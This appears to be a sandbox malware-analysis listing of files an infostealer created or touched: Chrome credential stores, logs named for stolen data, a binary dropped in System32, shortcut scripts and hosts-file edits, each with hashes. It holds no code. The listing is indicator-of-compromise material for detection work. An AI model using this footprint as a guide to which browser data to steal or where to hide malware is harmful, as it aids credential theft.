- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe5a02a1.TMP
- Size 96B
- SHA256 3da89e7f3f9a3bd865f467862f108cbb0c44f45e865402a9912b8844cb238008
- MD5 8531c41c1d2cdf66ac9dcb6c24dae6d3
- SHA1 1e90fcc6b32b0abadc535696f8d2c2c52abf83f1
- SHA512 8954018482dd458c32c47e20815d2f26e3d2cda27a31da6a5a27ecff2683a0d7733aac5cfe8a60e339a993a1a48825e410a93f4ca1e91612b7a0e0fe959592c8
- TLSH T1C4B022A8C0022202C00203B028C88FE838A2FF20C3030202E2E20BA3CE20E200C28820
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 7cde9026eede34803b2a359ce50b1db06a3bc4876593389067f8fa10d36943aa
- MD5 2ec7844ad92b92c65208adb4b1edc154
- SHA1 43698cbd17dace06f3972e4132c5df0009542d4e
- SHA512 2dd910e011bcdfcd1b4e533e5324941e776911b94e1292861f0788719edfcbbbffb6e17ae55d046e7c373aab8e91a991329a964d56d4df4fbbb11032a7b38e3c
- SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2OOCRVumGne5:1nbZeMrv/hGtOhne5
- TLSH T1D2D3984B3A743006DDE68A722CE051BB5E3C716D8F55A5D538B620588EF2863A23D4FF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 236KB
- SHA256 ecdeb98a41b1eedaa453367fcc93af3c090386d2d9928281a01a12d524fb4206
- MD5 1332f7e709efb1da531074f0f76b3a0a
- SHA1 c7a18947bb0bb3455d894db8da03d0e71453f2f2
- SHA512 a6be49a95ee82050e9c9db55ba522be46656412612b88f657e2637e7f0721e45f7f3c3ad1d307b1e34cb2f3a76de3e9c87e4628d97c051d44c6a9db3889d9db4
- SSDEEP 6144:BUOlsPQCfjiXVzoJHg6JOMxheoPVqZ/ZLW3Ex7:COlsIejilEJAkbz9qZ/piQ7
- TLSH T1AA341277DF511E3B4DA19F2475124E8BFBE4889EE22897409B9937EB260B090BE4351C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 116KB
- SHA256 502896ef84abe41d49c011fcc6327d1ba0521e0cf9eba74a55a5af49602ff471
- MD5 d62a664247d48b4e4972bff5061081a5
- SHA1 167b51fa1bb80a1d379ca2725bb5e6716b58b4b7
- SHA512 0c89ae1052430e53ea1f90d97d29ecf153fc8d330f64c39d57cbc85671fb1af4e9278a8cba3af1b13dccc6490143337e1cc897441d6e4db8307873ec08714de2
- SSDEEP 1536:4DvyD4aukHU65fd7Ntk8XOP851ZqODZHQ3gwGSUq0BTQQwsNwSVwxfQEz3bICbjt:ORqfd7NtZL8cHQRZEQ6SpsS
- TLSH T100C30237EBC21F339E93CB64B5130FD7A7B644A99034D301AAAD3BEB6C83595644249C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 235KB
- SHA256 7139d62b11271db57ec37aee60dbe70118f00d7a5b80a54542ccd28d168c6b9c
- MD5 3ed9587214358b60868ede3817257daa
- SHA1 4afa0ba213d7282f5a3dae94716d74d1b461f2ba
- SHA512 5f4f7a367e367002755249cea0fb77ca78c9b9a1e3ebff1faee5471996a572687406ec67c3fa3da5bb56bf544ff7049a9659b552ba5434423237364e3be577fc
- SSDEEP 6144:gOlsPQCfjiXVzoJHg6JOMxheoPVqZ/ZLW3Ex7:gOlsIejilEJAkbz9qZ/piQ7
- TLSH T174341277DF521E3B4DA1DB2875124E8BF3E4889CA168D74197DA37EB261B090BE4311C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 414ed86c52beedb64ffc1ac18561cd83ac5f8d5fdf9a4d2a638801f4f9e76126
- MD5 9f02e37465d73dc0ec16d0c4b3c84af6
- SHA1 a149e3d61e70fc341b46f0ae8cbcb9b344051609
- SHA512 835e11f2c7ed89b042187b3a58dc861f582d104507c41172c811bc480d00bd98dbf2ad2d29f388bf7a7a4da9b8c1423ddc3552cc3a799c1d0afc5b59ff05d707
- SSDEEP 1536:bELyD4aukHU65fd7Ntk8XOP851ZqODZHQ3gwGSUq0BTQQwsNwSVwxfQEz3bICbjY:oqfd7NtZL8cHQRZEQ6Sps3
- TLSH T1BCC30237EBC21F339D92CF64B9130FD667B644A99030D301AAAD37EB7C93591684249C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\luckychip.io_chrome.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tubskylo.vm0.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 244B
- SHA256 0f000a6ed5753ba2183e8bac9b5b47b0241096cbf48b14101da0c38f490cba4d
- MD5 0c418e01e874e551b994302615115734
- SHA1 d2022a5c5a9b8ad85e416cea705bb2859a4c32b2
- SHA512 4c93ac2366942cb4bb9f3384684c33342e223c8183dc41e4bf3b7c13652bf3ab2d582b21b18afce58dbdb055d84a3c16d06ab3fc392ce6d28d8b3033d2fa8d65
- TLSH T14ED0A78BB248C6AD0001227B85F38D4DFAF548283B13BE705AA5DD4E36918858DF6653
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 245B
- SHA256 fc4e6fee6e7de3345d093a5e30b77f0496fce9a3c3bea4cab11d0ff941a73301
- MD5 5eea3fd82425f4a16de2ce9148cdb712
- SHA1 7d6d6f2bb82884755de2de63a61bff0edc5fa6cb
- SHA512 be06f89b111457a7fec2da7208892ba840807f61d056f2652534a9224bd984e1b19e407a9ed5d6b19f2fa20252a653641c54182a9c85a2d1949c3aeb8dfeb9fb
- TLSH T16DD0A5CB7248C5AD0001217B45F38D4DF6E145283F136D305555DD4E36414454DF5553
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 152KB
- SHA256 edd09b40d434c09a281313d236594fb0279b9e95636a6369aed011657b45ad63
- MD5 a67349faf7f8e275d12a5df488536cb6
- SHA1 618a8de5618c3a41340a1d8d7cf84798f599abb1
- SHA512 b596836c2ceb83e2d25d8badad0be08b1504fce02bc6c41df5ea6d7dca622cfc28220af26440781ca1c0b39db9ef33d1e687d485ec9ee584f091c80b936df85c
- SSDEEP 3072:VexyBxaH7LK1mF2xAGM+g+6YXTX2GNgol:5BE76s2eGQ+LXTXpgG
- TLSH T10FE38740C6B3CE2B14825AAB481673C4E47CF7B082ED90FB25B2AE63F1739B6C319555
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 152KB
- SHA256 c3c9306e1bd4cdc141195e193b157dc79683a9d86e1aaadaeb32bb1cf5928656
- MD5 d23dce3324fd948ca7098c851106f688
- SHA1 5f543668c21074ef1e3ddc1521d3636f0f29172b
- SHA512 722f6515937ec04bbf05b73b44ab2e7f919279b677312ce1b9c08e56bfad45897a4ee422fff826c57ad8de056da2efdd7a88939c1dd922c9732360d4e9960563
- SSDEEP 3072:bexyBxaH7LK1mF2xAGM+g+6YXTX2GNgou:LBE76s2eGQ+LXTXpgh
- TLSH T18EE38740C6B3CE2B14825AAB481673C4E47CF7B082ED94FB25B2AE63F1739B6C319555
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 48KB
- SHA256 90f1a8ad4853ef3c1cf75d84a0d58e5804f0c60235a4692927e9d9583dc0280c
- MD5 a97fbf2606035ba4274616d0ce1ec4b9
- SHA1 6aae02186dc9930ee7a4645d5c615099ecfe863c
- SHA512 c49461632d90a7039837e7cefbe34e4a4a74f936a3a632aececccfcb0df88e0480c67ca0dd02312ed729388ced693a0d2f5aa88842a98edabdc73a8d044b0efb
- SSDEEP 768:IhHDTj5D++kqzyYj1g+4B//o4zC1XXGblfA0qKFcO:sHL5DISTxgnBI4zEXGblf9qucO
- TLSH T15723E60437F98511E1FF5ABA8DB196019B31B497AC23D78E07D5058E1AB3B40CEA8B77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
- MD5 d7645147eacea72992c3efbc22e7a507
- SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
- SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
- TLSH T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
- MD5 ffbf3122b27f828d8fd3c577ccf970b0
- SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
- SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
- TLSH T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
- MD5 SHA1 SHA512 TLSH